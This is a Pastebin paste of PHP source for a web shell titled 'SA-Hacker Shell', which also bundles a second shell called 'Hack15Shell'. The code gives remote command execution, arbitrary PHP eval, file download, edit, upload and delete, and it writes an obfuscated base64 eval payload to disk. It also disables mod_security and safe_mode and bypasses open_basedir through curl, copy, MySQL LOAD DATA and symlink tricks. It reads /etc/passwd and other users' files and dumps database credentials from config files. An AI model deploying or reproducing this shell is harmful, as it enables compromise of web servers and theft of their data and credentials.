API tools faq
paste
GreyPhantom

SA-Hacker Shell

GreyPhantom
Nov 23rd, 2012
19,607
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 60.19 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3.  
  4. define( 'DS', DIRECTORY_SEPARATOR );
  5.  
  6. $ini_reconf = array(
  7.     'display_errors' => '0',
  8.     'disable_functions' => '',
  9.     'file_uploads' => 'On',
  10.     'max_execution_time' => '0',
  11.     'memory_limit' => '1024M',
  12.     'open_basedir' => '',
  13.     'safe_mode' => 'Off',
  14.     'sql.safe_mode' => 'Off',
  15.     'upload_max_filesize' => '1024M',
  16. );
  17.  
  18. foreach ($ini_reconf as $key => $value) {
  19.     @ini_set($key, $value);
  20. }
  21.  
  22. date_default_timezone_set('Asia/Ho_Chi_Minh');
  23.  
  24. function dectectos() {
  25.     $curos = strtoupper(substr(PHP_OS, 0, 3));
  26.     return $curos;
  27. }
  28.  
  29. //File download
  30. $fdownload=@$_GET['fdownload'];
  31. if ($fdownload != "" ){
  32.     if (file_exists($fdownload)) {
  33.         header('Content-Description: File Transfer');
  34.         header('Content-Type: application/octet-stream');
  35.         header('Content-Disposition: attachment; filename='.basename($fdownload));
  36.         header('Content-Transfer-Encoding: binary');
  37.         header('Expires: 0');
  38.         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  39.         header('Pragma: public');
  40.         header('Content-Length: ' . filesize($fdownload));
  41.         ob_clean();
  42.         flush();
  43.         readfile($fdownload);
  44.         exit;
  45.     }
  46. }
  47. //PHP Info
  48. function info()
  49. { ?>
  50.     <div align="center" id="phpinfo">
  51.     <?php
  52.     ob_start () ;
  53.     phpinfo () ;
  54.     $pinfo = ob_get_contents () ;
  55.     ob_end_clean () ;
  56.  
  57.     // the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
  58.     echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;
  59.     ?>
  60.     </div>
  61. <?php
  62. }
  63.  
  64.  
  65. //File Manager
  66. function fileman()
  67. {
  68.  
  69.     function getmode($par) {
  70.         if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  71.             return 'N/A';
  72.         } else {
  73.             $perms = fileperms($par);
  74.             if (($perms & 0xC000) == 0xC000) {
  75.                 // Socket
  76.                 $info = 's';
  77.             } elseif (($perms & 0xA000) == 0xA000) {
  78.                 // Symbolic Link
  79.                 $info = 'l';
  80.             } elseif (($perms & 0x8000) == 0x8000) {
  81.                 // Regular
  82.                 $info = '-';
  83.             } elseif (($perms & 0x6000) == 0x6000) {
  84.                 // Block special
  85.                 $info = 'b';
  86.             } elseif (($perms & 0x4000) == 0x4000) {
  87.                 // Directory
  88.                 $info = 'd';
  89.             } elseif (($perms & 0x2000) == 0x2000) {
  90.                 // Character special
  91.                 $info = 'c';
  92.             } elseif (($perms & 0x1000) == 0x1000) {
  93.                 // FIFO pipe
  94.                 $info = 'p';
  95.             } else {
  96.                 // Unknown
  97.                 $info = 'u';
  98.             }
  99.             // Owner
  100.             $info .= (($perms & 0x0100) ? 'r' : '-');
  101.             $info .= (($perms & 0x0080) ? 'w' : '-');
  102.             $info .= (($perms & 0x0040) ?
  103.             (($perms & 0x0800) ? 's' : 'x' ) :
  104.             (($perms & 0x0800) ? 'S' : '-'));
  105.             // Group
  106.             $info .= (($perms & 0x0020) ? 'r' : '-');
  107.             $info .= (($perms & 0x0010) ? 'w' : '-');
  108.             $info .= (($perms & 0x0008) ?
  109.             (($perms & 0x0400) ? 's' : 'x' ) :
  110.             (($perms & 0x0400) ? 'S' : '-'));
  111.             // World
  112.             $info .= (($perms & 0x0004) ? 'r' : '-');
  113.             $info .= (($perms & 0x0002) ? 'w' : '-');
  114.             $info .= (($perms & 0x0001) ?
  115.             (($perms & 0x0200) ? 't' : 'x' ) :
  116.             (($perms & 0x0200) ? 'T' : '-'));
  117.  
  118.             return $info;
  119.         }
  120.     }
  121.  
  122.     function getowner($par) {
  123.         if(function_exists('posix_getpwuid')) {
  124.             $owner = @posix_getpwuid(@fileowner($par));
  125.             return $owner['name'];
  126.         }
  127.     }
  128.  
  129.     function getgroup($par) {
  130.         if(function_exists('posix_getgrgid')) {
  131.             $group = @posix_getgrgid(@filegroup($par));
  132.             return $group['name'];
  133.         }
  134.     }
  135.  
  136.     function getsize($par) {
  137.         return @round(@filesize($par));
  138.     }
  139.  
  140.     function byteConvert(&$bytes){
  141.         $b = (int)$bytes;
  142.         $s = array('  B', 'KB', 'MB', 'GB', 'TB');
  143.         if($b < 0){
  144.             return "0 ".$s[0];
  145.         }
  146.         $con = 1024;
  147.         $e = (int)(log($b,$con));
  148.         return number_format($b/pow($con,$e),2,',','.').' '.$s[$e];
  149.     }
  150.  
  151.     $dir = realpath($_GET['dir']).DS;
  152.     $list = scandir($dir);
  153.  
  154.     echo '
  155.    <div align="center"><br>
  156.    <form action="" method="GET">
  157.        <input type="hidden" name="id" value="fm">
  158.        <input type="text" name="dir" size="80" value="',$dir,'" class="input">&nbsp;
  159.        <input type="submit" class="button" value=" Dir ">
  160.    </form>
  161.    </div>
  162.    <div align="center">
  163.    <table border="0" width="80%" cellspacing="1" cellpadding="2">
  164.        <tr>
  165.            <td width="180"><b><font size="2"> File / Folder Name </font></b></td>
  166.            <td width="30" align="center"><font color="#FFFF00" size="2"><b> Owner </b></font></td>
  167.            <td width="30" align="center"><font color="#FFFF00" size="2"><b> Group </b></font></td>
  168.            <td width="50" align="center"><font color="#FFFFFF" size="2"><b> &nbsp;&nbsp;&nbsp;Size </b></font></td>
  169.            <td width="30" align="center"><font color="#008000" size="2"><b> Download </b></font></td>
  170.            <td width="30" align="center"><font color="#FF9933" size="2"><b> Edit </b></font></td>
  171.            <td width="30" align="center"><font color="#999999" size="2"><b> Chmod </b></font></td>
  172.            <td width="30" align="center"><font color="#FF0000" size="2"><b> Delete </b></font></td>
  173.            <td width="150" align="center"><font color="#0080FF" size="2"><b> Last Modifed </b></font></td>
  174.        </tr>';
  175.  
  176. for($i=0; $i<count($list); $i++) {
  177.     if(@is_dir($dir.$list[$i])) {
  178.  
  179.         echo '
  180.        <tr>
  181.            <td><a href="?id=fm&dir=',$dir.$list[$i],'"><font color="#DD8008" size="2">',$list[$i],'</font></a></td>
  182.            <td align="center"><font color="#00CCFF" size="2">',getowner($dir.$list[$i]),'</font></td>
  183.            <td align="center"><font color="#00CCFF" size="2">',getgroup($dir.$list[$i]),'</font></td>
  184.            <td align="center"></td>
  185.            <td align="center"></td>
  186.            <td align="center"></td>
  187.            <td align="center"><a href="?id=fm&fchmod=',$dir.$list[$i],'"><font color="#999999" size="2">',getmode($dir.$list[$i]),'</font></a></td>
  188.            <td align="center"><a href="?id=fm&fdelete=',$dir.$list[$i],'"><font color="#FF0000" size="2"> Delete </font></a></td>
  189.            <td align="center"><font color="#FF9933" size="2" alt="DD-MM-YY">'.date ("d-m-y  H:i  P", filemtime($dir.$list[$i])).'</font></td>
  190.        </tr>';
  191.     }
  192. }
  193.  
  194. for($i=0; $i<count($list); $i++) {
  195.     if(@is_file($dir.$list[$i])) {
  196.  
  197.         echo '
  198.        <tr>
  199.            <td><a href="?id=fedit&fedit=',$dir.$list[$i],'"><font color="#FFFFFF" size="2">',$list[$i],'</font></a></td>
  200.            <td align="center"><font color="#00CCFF" size="2">',getowner($dir.$list[$i]),'</font></td>
  201.            <td align="center"><font color="#00CCFF" size="2">',getgroup($dir.$list[$i]),'</font></td>
  202.            <td align="right"><font color="#0080FF" size="2">',byteConvert(getsize($dir.$list[$i])),'</font></td>
  203.            <td align="center">';
  204.                     if (@is_readable($dir.$list[$i])){
  205.                         echo '<a href="?id=fm&fdownload=',$dir.$list[$i],'"><font size="2" color="#008000"> Download </font></a>';
  206.                     } else {
  207.                         echo '<font size="1" color="#FF0000"><b>Unreadable</b></font>';
  208.                     }
  209.             echo '</td>
  210.            <td align="center">';
  211.                     if (@is_readable($dir.$list[$i])){
  212.                         echo '<a href="?id=fedit&fedit=',$dir.$list[$i],'"><font size="2" color="#FF9933"> Edit </font></a>';
  213.                     } else {
  214.                         echo '<font size="1" color="#FF0000"><b>Unreadable</b></font>';
  215.                     }
  216.             echo '</td>
  217.            <td align="center"><a href="?id=fm&fchmod=',$dir.$list[$i],'"><font color="#999999" size="2">',getmode($dir.$list[$i]),'</font></a></td>
  218.            <td align="center"><a href="?id=fm&fdelete=',$dir.$list[$i],'"><font color="#FF0000" size="2"> Delete </font></a></td>
  219.            <td align="center"><font color="#FF9933" size="2" alt="DD-MM-YY">'.date ("d-m-y  H:i  P", filemtime($dir.$list[$i])).'</font></td>
  220.        </tr>';
  221.     }
  222. }
  223.  
  224.  
  225.     echo '
  226.        <tr>
  227.            <td valign="top" colspan="8">&nbsp;</td>
  228.        </tr>
  229.        <tr>
  230.            <td valign="top" colspan="8">
  231.                <form action="" method="GET">
  232.                <table align="left" width="100%">
  233.                    <tr>
  234.                        <td width="20%" class="td">File View / Edit:</td>
  235.                        <td width="80%">
  236.                            <input name="fedit" type="text" size="50" class="input" />&nbsp;
  237.                            <input type="hidden" name="id"  value="fedit">
  238.                            <input type="submit" value=" View / Edit " class="button" />
  239.                        </td>
  240.                    </tr>
  241.                </table>
  242.                </form>
  243.  
  244.                <form action="" method="GET">
  245.                <table align="left" width="100%">
  246.                    <tr>
  247.                        <td width="20%" class="td">File Download:</td>
  248.                        <td width="80%">
  249.                        <input name="fdownload" type="text" size="50" class="input" />&nbsp;
  250.                        <input type="submit" value=" Download " class="button" />
  251.                        </td>
  252.                    </tr>
  253.                </table>
  254.                </form>
  255.  
  256.                <form method="GET" action="">
  257.                <table align="left" width="100%">
  258.                    <tr>
  259.                        <td width="20%" class="td">Chmod:</td>
  260.                        <td width="80%">
  261.                        <input type="text" name="fchmod" size="50" class="input" />&nbsp;
  262.                        <input type="text" name="mode" size="3" class="input" />&nbsp;
  263.                        <input type="submit" value=" Change " class="button" />
  264.                        </td>
  265.                    </tr>
  266.                </table>
  267.                </form>
  268.  
  269.                <form enctype="multipart/form-data" action="" method="POST">
  270.                <table align="left" width="100%">
  271.                    <tr>
  272.                        <td width="20%" class="td">File Upload:</td>
  273.                        <td width="80%">
  274.                        <input name="userfile" type="file" size="50" class="file" />&nbsp;
  275.                        <input type="hidden" name="MAX_FILE_SIZE" value="300000"  />
  276.                        <input type="hidden" name="Fupath"  value="',$dir,'" />
  277.                        <input type="submit" value=" Upload " class="button" />
  278.                        </td>
  279.                    </tr>
  280.                </table>
  281.                </form>
  282.  
  283.                </div>
  284.            </td>
  285.        </tr>
  286.    </table>';
  287. }
  288.  
  289.  
  290. //Default
  291. function def()
  292. {
  293.     $id=$_GET['id'];
  294.     if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
  295.         $euserinfo  = @posix_getpwuid(@posix_geteuid());
  296.     }
  297.     if (function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
  298.         $egroupinfo = @posix_getgrgid(@posix_getegid());
  299.     }
  300.     echo '
  301.    <p align="center" style="padding-left:20px;">
  302.  
  303.    </p>
  304.    <p align="left" style="padding-left:20px;">
  305.    <font color="#DD8008" size="2"><b>OS : ',php_uname(),'
  306.    <br>
  307.    SERVER IP : <font color="#FF0000">',gethostbyname($_SERVER['SERVER_NAME']),'</font><br>
  308.    SERVER NAME : <font color="#FF0000">',$_SERVER['SERVER_NAME'],'</font><br>
  309.    SERVER SOFTWARE : <font color="#FF0000">',$_SERVER['SERVER_SOFTWARE'],'</font><br>
  310.    SERVER ADMIN : <font color="#FF0000">',$_SERVER['SERVER_ADMIN'],'</font><br>
  311.        PHP VERSiON : <font color="#FF0000">',$ephpv = @phpversion(),'</font><br>
  312.    uid = ',$euserinfo['uid'],' ( ',$euserinfo['name'],' ) &nbsp;&nbsp;&nbsp;&nbsp; gid = ',$egroupinfo['gid'],' ( ',$egroupinfo['name'],' )<br>
  313.    </b></font></p>';
  314. }
  315.  
  316.  
  317. //Web Command
  318. function wcom ()
  319. {
  320.     $cmd=$_POST['cmd'];
  321.     $result=ex("$cmd");
  322.     echo '<center><br><h3> Run Command </h3></center>
  323.    <center>
  324.    <form method="POST" action="">
  325.    <input type="hidden" name="id" value="cmd" />
  326.    <input type="text" size="85" name="cmd" value="',$cmd,'" class="input" />&nbsp;
  327.    <input type="submit" class="button" value=" Run " />
  328.    </form><br>
  329.    <textarea rows=20 cols=85 class="textarea">',$result,'</textarea><br><br>';
  330. }
  331.  
  332.  
  333. //PHP Eval
  334. function eeval()
  335. {
  336.     $code=stripslashes($_POST['code']);
  337.     echo '<center><br><h3> PHP Code Evaluating </h3></center>
  338.    <center>
  339.    <form method="POST" action="">
  340.    <input type="hidden" name="id" value="eval">
  341.    <textarea name ="code" rows="10" cols="85" class="textarea">',$code,'mkDIR("file:");
  342. chdir("file:");
  343. mkDIR("etc");
  344. chdir("etc");
  345. mkDIR("passwd");
  346. chdir("..");
  347. chdir("..");
  348.  
  349. $ch = curl_init();
  350.  
  351. curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");
  352. curl_setopt($ch, CURLOPT_HEADER, 0);
  353.  
  354. curl_exec($ch);
  355.  
  356. curl_close($ch);</textarea><br><br>
  357.    <input type="submit" value=" Evaluate PHP Code" class="button"><hr>
  358.    </form>
  359.    <textarea rows="10" cols="85" class="textarea">';
  360.     eval($code);
  361.     echo '</textarea><br><br>';
  362. }
  363.  
  364.  
  365. //Php 5.2.9 Bypass
  366. function eizo()
  367. {
  368.  
  369. $kokdosya = "59.php";
  370.  
  371. $dosya_adi = "$kokdosya";
  372. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  373. $metin = "<? eval(gzinflate(base64_decode('
  374. hVRNb5tAED0Hif8wXaECcQJu1BwaA1GU2E0lN7Zs
  375. txfLQms8FijAInbt2Kny3zuA4zhW1F5gmI83b97O
  376. ch1417rmnupaum0/xvw8w2yOJYglrPN5yZN8uhBq
  377. lqPStVNX13QtWVqfMCvU1jLC793J1FwmKZoz2waj
  378. svx33o6uYSoRDouGg/FHVYfuTtUIo1iA6Q1H3cAr
  379. guH9EC6dC+cbSL7EMBMLhM8gCszDOZe4SEqYbwsu
  380. pTcvg//PQojeUpQZ5DxDn1UmAx6pROQ+i5UqrlzX
  381. dIxw3B397o6m7H4yGYb3RJHNnFhlqSwwSngaxbyU
  382. 1lva+Hb0YzgJH3Tt5meXzewDBBqA7H6PAEwGGapY
  383. LHxWCKlY4CV5sVKgtgVxUbhR7JUXycFAJs9kX7YZ
  384. rHm6ItP8gEOVahP0ezC5mmfJHo4yF1JtU3zeQ41j
  385. 8UQ1bqVAYNbC65qR4hpTv915PfAKPMRNIpW0alJX
  386. zLZ17SR7JOH3HkqP4iNHA9Vq1VDGngD4gJsipVO0
  387. mMvOmi2w6yRiYhmcmhvci8QqV9ZbmU3OVsv+Q60P
  388. VmofnhqcVqqKnhyzPk6CKmnH/yjWqULNIB9FDiY6
  389. edG1l4rzU0ytrCZyfm7DTgbHYc1MRhTTxNGqTMMk
  390. T5TVeOtviUoUNGMUn8Htr1F/QPtDrzNoRKwfrusy
  391. 50Ci3dXoDR4mcDvoD0Y+G3XvWABetTy8RA6leJI+
  392. +0o7E4mUrC8XbbY7X5Kmd9Mfd32/JoAbjKr29YEu
  393. ErTMYCzKcus4DvSoJfxj22AhUOYKGpFBlLAVK3KS
  394. K+ZrhALLLJGSbpV0zEPu4LmvVIm1W02yY1dzilIh
  395. sSa128hr+k/9BQ==
  396. '))); ?>";    
  397. fwrite ( $dosya , $metin ) ;
  398. fclose ($dosya);
  399.  
  400. }
  401.  
  402.  
  403. //Safe Modu Offla
  404. function epriv8()
  405. {
  406.  
  407. $kokdosya = ".htaccess";
  408.  
  409. $dosya_adi = "$kokdosya";
  410. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  411. $metin = "<IfModule mod_security.c>
  412.    Sec------Engine Off
  413.    Sec------ScanPOST Off
  414. </IfModule>";    
  415. fwrite ( $dosya , $metin ) ;
  416. fclose ($dosya);
  417.  
  418. $kokdosya = "php.ini";
  419.  
  420. $dosya_adi = "$kokdosya";
  421. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  422. $metin = "safe_mode          =       OFF
  423. disable_functions       =            NONE";    
  424. fwrite ( $dosya , $metin ) ;
  425. fclose ($dosya);
  426.  
  427.  
  428. }
  429.  
  430.  
  431. //Openbasedir Bypass
  432. function eobypass()
  433. {
  434.  
  435. ?>    
  436. <?
  437. /*###########################################
  438. NameScrip : Php hacker v1.0
  439. Private For Hack15 Members ..
  440. Coder By GeNiUs HaCkEr - Team Hack15
  441. Mails : Linux@Nesma.Net.Sa & Vv9@Hotmail.Com
  442. WwW.Hack15.CoM      
  443. ###########################################*/
  444. error_reporting(0);
  445. set_magic_quotes_runtime(0);
  446. if(version_compare(phpversion(), '4.1.0') == -1)
  447.  {$_POST   = &$HTTP_POST_VARS;$_GET    = &$HTTP_GET_VARS;
  448.  $_SERVER = &$HTTP_SERVER_VARS;
  449.  }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
  450. if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
  451. elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
  452. else{return $requ."?".$link."=".$val;}}
  453. function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";}
  454. function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
  455. $nscmd=htmlspecialchars($scmd);print $nscmd;}
  456. elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
  457. $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
  458. elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
  459. while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
  460. print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
  461. ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
  462. ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
  463. print htmlspecialchars($pret);}}
  464. function input($type,$name,$value,$size)
  465. {if (empty($value)){print "<input type=$type name=$name size=$size>";}
  466. elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
  467. elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
  468. else {print "<input type=$type name=$name value=$value size=$size >";}}
  469. function permcol($path){if (is_writable($path)){print "<font color=#008080>";
  470. callperms($path); print "</font>";}
  471. elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
  472. callperms($path); print "</font>";}
  473. else {print "<font color=white>";callperms($path);}}
  474. if ($dlink=="dwld"){download($_REQUEST['dwld']);}
  475. function download($dwfile) {$size = filesize($dwfile);
  476. @header("Content-Type: application/force-download;name=$dwfile");
  477. @header("Content-Transfer-Encoding: binary");
  478. @header("Content-Length: $size");
  479. @header("Content-Disposition: attachment; filename=$dwfile");
  480. @header("Expires: 0");
  481. @header("Cache-Control: no-cache, must-revalidate");
  482. @header("Pragma: no-cache");
  483. @readfile($dwfile); exit;}
  484. ?>
  485. <html>
  486. <head><title>Hack15Shell</title></head>
  487. <style>
  488. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: #008080; }
  489. a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
  490. a:hover{color:#008080}
  491. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
  492. textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
  493. div{font-size:12px;font-family:tahoma;font-weight:normal;color:whitesmoke}
  494. select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
  495. <body bgcolor=black text=white><font face="sans ms" size=3>
  496. </body>
  497. </html>
  498. <?
  499. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  500. $sf="<form method=post>";$ef="</form>";
  501. $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
  502. $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
  503. $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
  504. $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
  505. $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
  506. ################# Editing By User ########################
  507. ///////////////////////////////
  508.                              //
  509. $mysql_use = "no"; //"yes"   //
  510. $mhost = "localhost";        //
  511. $muser = "root";             //
  512. $mpass = "pass";             //
  513. $mdb = "name";               //
  514. $them = "xxx"; //any site    //
  515. $you = "xx"; //your username //
  516. $flib = "hack15.txt";        //
  517. $folder = "hack15.txt";      //
  518. ///////////////////////////////
  519. ################# PhP Design (Start) ########################
  520. delm(": Php Hacker v1.0 (Shell) :");
  521. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>[ Php hacker v1.0 ]::[ Owned By Yourname ]
  522. </font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  523. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "<a href=".inclink('linux', 'greet').">Gr33tz To</a>";
  524. print " - <a href='javascript:history.back()'>Back</a>";
  525. print "</td></tr></table>";
  526. echo "<br>";
  527. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  528. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  529. {
  530.  $safemode = true;
  531.  $hsafemode = "<font color=\"red\">ON (secure)</font>";
  532. }
  533. else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  534. echo("Safe-mode: $hsafemode");
  535. print "</td></tr></table>";
  536. echo "<br>";
  537. ################# PhP Hacked ########################
  538. // read greet //
  539. if ($linux=='greet')
  540. {
  541. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  542. echo "GeNiUs HaCkEr & Blood Hacker & Mr.ALJoOoKeR & Dr_Whad_Drb & Saudi Hunter & Saudi Coder &  ROMANCY-HACKER & Qatil_Albasik & Caeser & KsA HaCkEr & Hacker Zero & Mr.Shares & Dr.Shares
  543. ";
  544.   echo "</textarea>";
  545. }
  546. // read file unzend sorce //
  547. if(empty($_POST['sorce'])){
  548. } else {
  549.  
  550. }
  551. // read file unzend functions //
  552.  if(empty($_POST['func'])){
  553. } else {
  554. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  555. $zeen=$_POST['func'];
  556. require("$zeen");
  557. echo "Database : ".$config['Database']['dbname']." <X> ";
  558. echo "UserName : ".$config['MasterServer']['username']." <X> ";
  559. echo "Password : ".$config['MasterServer']['password']." <X> ";
  560. echo "</textarea></p>";
  561. }// read file symlink ( ) //
  562. if(empty($_POST['sym'])){
  563. } else {
  564. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  565. $fp = fopen("hack15.txt","w+");
  566. fwrite($fp,"Php Hacker Was Here");
  567. @unlink($flib);
  568. $sym = "/home/" . $them . "/public_html/" . $k;
  569. $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  570. @symlink($sym, $link);
  571. if ($k{0} == "/") {
  572. echo "<script> window.location = '" . $flib . "'</script>";
  573. }else{
  574. echo "<pre><xmp>";
  575. echo readlink($flib) . "\n";
  576. echo "Filesize: " . linkinfo($flib) . "B\n\n";
  577. echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  578.   echo "</textarea>";
  579. }
  580. }
  581.  
  582. // read file plugin ( ) //
  583. if(empty($_POST['plugin'])){
  584. } else {
  585. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  586. for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  587.  $ara = posix_getpwuid($uid);
  588.   if (!empty($ara)) {
  589.        while (list ($key, $val) = each($ara)){
  590.         print "$val:";
  591.   }
  592.   print "\n";
  593.      }
  594.   }
  595.   echo "</textarea>";
  596. }
  597. // read file id ( ) //
  598. if ($_POST['rid'] ){
  599. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  600.  for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  601. $ara = posix_getpwuid($uid);
  602.  if (!empty($ara)) {
  603. while (list ($key, $val) = each($ara)){
  604. print "$val:";
  605. }
  606.  print "\n";
  607. }
  608.  }
  609. echo "</textarea>";
  610. break;
  611.  
  612.  }
  613. // read file imap ( ) //
  614. $string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
  615. if(empty($_POST['rimap'])){
  616. } else {
  617. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  618. $stream = imap_open($string, "", "");
  619. $str = imap_body($stream, 1);
  620. echo "</textarea>";
  621. }
  622. // read file Curl ( ) //
  623. if(empty($_POST['curl'])){
  624. } else {
  625. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  626. $m=$_POST['curl'];
  627. $ch =
  628. curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
  629. curl_exec($ch);
  630. var_dump(curl_exec($ch));
  631. echo "</textarea>";
  632. }
  633.  
  634. // read file SQL ( ) //
  635. if(empty($_POST['ssql'])){
  636. } else {
  637. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  638. $file=$_POST['ssql'];
  639.  
  640.  
  641. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  642. $mysql_files = explode(':', $mysql_files_str);
  643.  
  644. $sql = array (
  645. "USE $mdb",
  646. 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  647. "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  648. . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  649. . "ESCAPED BY          '' "
  650. . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  651.  
  652. "SELECT a FROM $tbl LIMIT 1"
  653. );
  654. mysql_connect ($mhost, $muser, $mpass);
  655.  
  656. foreach ($sql as $statement) {
  657.    $q = mysql_query ($statement);
  658.  
  659.    if ($q == false) die (
  660.       "FAILED: " . $statement . "\n" .
  661.       "REASON: " . mysql_error () . "\n"
  662.    );
  663.  
  664.    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  665.  
  666.    echo htmlspecialchars($r[0]);
  667.    mysql_free_result ($q);
  668. }
  669. echo "</textarea>";
  670. }
  671.  
  672.  
  673.  
  674. // read file copy & ini ( ) //
  675. if (isset ($_REQUEST['safefile'])){
  676. $file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
  677. if(empty($_GET['file'])){if(empty($_POST['file'])){
  678. print "<center>[ Please choose a file first to read it using copy() ]</center>";
  679. } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
  680. $temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
  681. $zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
  682. fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
  683. print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
  684. </CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
  685. ini_restore("safe_mode");ini_restore("open_basedir");
  686. print "<center><pre>".$sta;
  687. if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";}
  688. delm(": Safe mode bypass :");
  689. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  690. print "<tr><td width=50%><div align=left>";
  691. print $st.$c1."<div><b><center>Using copy() function</div>";
  692. print $ec.$c2.$sf."&nbsp;";
  693. input("text","safefile",$nscdir,75);
  694. input("hidden","scdir",$nscdir,0);print " ";
  695. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  696. print "</td><td height=20% width=50%><div align=right>";
  697. print $st.$c1."<div><b><center>Using ini_restore() function</div>";
  698. print $ec.$c2.$sf."&nbsp;";
  699. input("text","inifile",$nscdir,75);
  700. input("hidden","scdir",$nscdir,0);print " ";
  701. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  702. print "</td></tr></table>";
  703. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  704. print "<tr><td width=50%><div align=left>";
  705. print $st.$c1."<div><b><center>Using sql() function</div>";
  706. print $ec.$c2.$sf."&nbsp;";
  707. input("text","ssql",$nscdir,75);
  708. input("hidden","scdir",$nscdir,0);print " ";
  709. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  710. print "</td><td height=20% width=50%><div align=right>";
  711. print $st.$c1."<div><b><center>Using Curl() function</div>";
  712. print $ec.$c2.$sf."&nbsp;";
  713. input("text","curl",$nscdir,75);
  714. input("hidden","scdir",$nscdir,0);print " ";
